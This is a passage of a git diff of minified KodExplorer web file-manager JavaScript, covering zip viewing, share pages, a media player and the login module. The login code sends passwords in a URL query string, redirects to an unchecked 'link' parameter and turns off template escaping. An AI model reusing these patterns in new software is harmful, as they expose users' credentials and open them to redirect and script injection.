e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID(); +r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),u(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}),define("app/src/share_index/fileShow",["../../common/myPlayer"],function(e){var t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,i="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(t=t.replace("index.php?","index.php/"));var a=function(){if(G.share_info!==void 0){var e=core.pathExt(G.share_info.path);G.path=htmlDecode(G.path),G.share_info.path=htmlDecode(G.share_info.path),"file"!=G.share_info.type&&(i+="&path="+urlEncode(G.path),t+="&path="+G.path),"1"==G.share_info.not_download&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),d(e)}else $(".share_info").addClass("hidden")},n=function(){var e=core.pathExt(G.share_info.path),i=$(".bindary_box");i.removeClass("hidden"),i.find(".name").html(htmlEncode(G.share_info.name)),i.find(".ico").html(core.icon(e)),i.find(".btn_download").attr("href",t);var a=date("Y/m/d h:i",G.share_info.mtime);i.find(".share_time").html(a),i.find(".size span").html(G.share_info.size),$("body").addClass("can_select")},o=function(e){for(var t=[],i=0;e.length>i;i++)t[i]=e.charCodeAt(i).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},s=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist"),t=ace.require("ace/lib/net");t.loadScript.hook("loadScript",t,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments}),$.get(i,function(t){var i=e.getModeForPath(G.share_info.path).mode,a='<pre class="code" id="ace_text_show">'+o(t)+"</pre>";$(".content_box").addClass("show_code").append(a);var n=ace.edit("ace_text_show");n.setTheme("ace/theme/tomorrow"),n.setReadOnly(!0),n.setShowPrintMargin(!1),n.getSession().setMode(i),n.getSession().setTabSize(4),n.getSession().setUseWrapMode(1),n.setFontSize(15)})},r=function(){e.async("lib/markdown/markdown-it.min",function(){var t=window.markdownit({html:!0,breaks:!0});$.get(i,function(i){var a=t.render(i),n=$(".content_box");n.addClass("markdown_preview can_select").append(a),n.find("a").attr("target","_blank");var o="<p>[TOC]</p>";if(-1!=n.html().indexOf(o)){var s=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='<li class="'+i+'"><a href="#'+e+'">'+$(this).text()+"</a></li>"}),t="<div class='markdown_menu'><ul>"+t+"</ul></div>"},r=s(n),a=n.html();a=a.replace(o,r),a=a.replace(/ data-link="#(.*?)">/g,'><a name="$1" id="$1"></a>'),n.html(a)}e.async("lib/markdown/highlight.min",function(){$(".content_box").find("pre code").each(function(e,t){$(this).removeAttr("class"),hljs.highlightBlock(t)})}),e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(n[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),n.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='<div class="markdown-latex">'+e+"</div>",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof callback&&callback()})})})},l=function(){var t=G.app_host+i,a=e("../../common/myPlayer");a.play([{url:t,name:G.share_info.name,ext:core.pathExt(G.share_info.path)}])},c=function(){var e=G.app_host+i,t="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(e),a='<iframe src="'+t+'" frameborder="0" class="show_office"></iframe>';if(!canvasSupport()){var n=UUID();return a='<div id="'+n+'" style="height:100%;"> <a href="'+e+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>",$(".frame-main").addClass("office_page").append(a),PDFObject.embed(e,"#"+n),void 0}$(".frame-main").addClass("office_page").append(a),$(".content_box").addClass("hidden")},d=function(e){if("md"==e)return r(),void 0;if("swf"==e){var t=core.createFlash(htmlEncode(i),"");return $(".content_box").addClass("show_swf").append(t),void 0}if(inArray(core.filetype.image,e)){var t='<img src="'+htmlEncode(i)+'"/>';return $(".content_box").addClass("show_image").append(t),void 0}if(inArray(core.filetype.movie,e)||inArray(core.filetype.music,e))return l(),void 0;if("pdf"==e)return c(),void 0;if(inArray(core.filetype.doc,e)){var a=G.share_info.path;"file"!=G.share_info.type&&(a=G.path);var o=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+a,t='<iframe src="'+o+'" frameborder="0" class="show_office"></iframe>';return $(".frame-main").addClass("office_page").append(t),$(".content_box").addClass("hidden"),void 0}return inArray(core.filetype.text,e)?(s(),void 0):(n(),void 0)};return{init:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}); \ No newline at end of file diff --git a/static/js/app/src/user/main.js b/static/js/app/src/user/main.js index 93e0b4b..930b2fd 100755 --- a/static/js/app/src/user/main.js +++ b/static/js/app/src/user/main.js @@ -1,4 +1,4 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){$(".init_loading").fadeOut(450).addClass("pop_fadeout"),core.init(),LocalData.del("this_path");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var t="./index.php?user/checkCode&t="+UUID();$(".check_code img").attr("src",t),$(".check_code").val("").focus(),e()},i=function(e){var i=$("#username").val(),a=$("#password").val(),n=$("input[name=rember_password]").attr("checked")?1:0,o="./index.php?user/loginSubmit&name="+urlEncode(i)+"&check_code="+$("input.check_code").val()+"&password="+urlEncode(a)+"&rember_password="+n+"&is_ajax=1";return $.ajax({dataType:"json",url:o,error:function(e,t,i){setTimeout(function(){core.ajaxError(e,t,i)},600)},success:function(e){if("ok"!=e.data&&($(".msg").show().html(e.data),Tips.tips(e.data,!1)),e.code){var i="./index.php";void 0!=$.getUrlParam("link")&&(i=$.getUrlParam("link")),window.location.href=i}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),stopPP(e),!1};isWap()||e(),$(".check_code img").bind("click",t),$("form").submit(i),$("#username,#password,input.check_code").keyEnter(i),$(".forget_password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)}),0!=$(".login-wap").length&&$("#username,#password").bind("focus",function(){$(".common_footer").hide()}).bind("blur",function(){$(".common_footer").show()});var a=$(".admin_password input"),n=$(".admin_password_repeat input");a.keyEnter(function(){$(".start").click()}),n.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var e=trim(a.val());e!=n.val()?Tips.tips(LNG.login_root_password_equal,!1):""==e?(Tips.tips(LNG.login_root_password_tips,!1),a.focus()):window.location.href="./index.php?user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=a.val();""==e?(Tips.tips(LNG.not_null,!1),a.focus()):window.location.href="./index.php?user/version_install&license_code="+e})})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return 